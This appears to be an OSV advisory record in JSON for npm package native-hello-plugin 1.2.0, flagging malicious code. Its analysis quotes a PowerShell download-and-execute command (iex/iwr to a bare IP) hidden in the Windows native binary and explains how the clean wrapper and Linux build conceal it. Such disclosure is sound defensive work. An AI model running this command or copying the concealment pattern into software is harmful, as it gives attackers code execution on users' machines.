{"id":"MAL-2026-13350","revision":"ef367e661b4d4ab183e30521956329f9","records":[{"revision":"ef367e661b4d4ab183e30521956329f9","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-13350","aliases":[],"title":"Malicious code in native-hello-plugin (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (385ade063a7b92a8606feb7670b6a685361533f01a8e446798a210a4416a400a)\nThe shipped Windows-x64 prebuilt `hello.node` embeds a PowerShell command `powershell -Command \"iex (iwr 'http://89.124.113.217:8000/update.ps1'...)\"` and imports `system` from msvcrt.dll, indicating the string is passed to a shell at runtime. The N-API-exported `sha256Hex` function is the visible cover; the JS wrapper's `register()` calls `native.sha256Hex(...)` at plugin startup (`activation.onStartup: true`), so loading the plugin on Windows fetches and executes an unpinned PowerShell script from a bare IP over plaintext HTTP, yielding arbitrary code execution on the host. The Linux-arm64 sibling `hello.node` contains only genuine SHA-256 symbols and no network strings, so the malicious behavior was smuggled into the Windows binary while leaving the wrapper and Linux prebuilt clean.\n","state":0,"publishedAt":"2026-08-05T15:50:58+00:00","modifiedAt":"2026-08-05T16:51:07.2333743+00:00","affected":[{"ecosystem":"npm","name":"native-hello-plugin","ranges":[],"versions":["1.2.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/native-hello-plugin/v/1.2.0"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-13350","license":"OSV · upstream source license applies","key":"osv:MAL-2026-13350","identifiers":["MAL-2026-13350"]},"retained":false,"historicalAffected":[]}],"coverage":[]}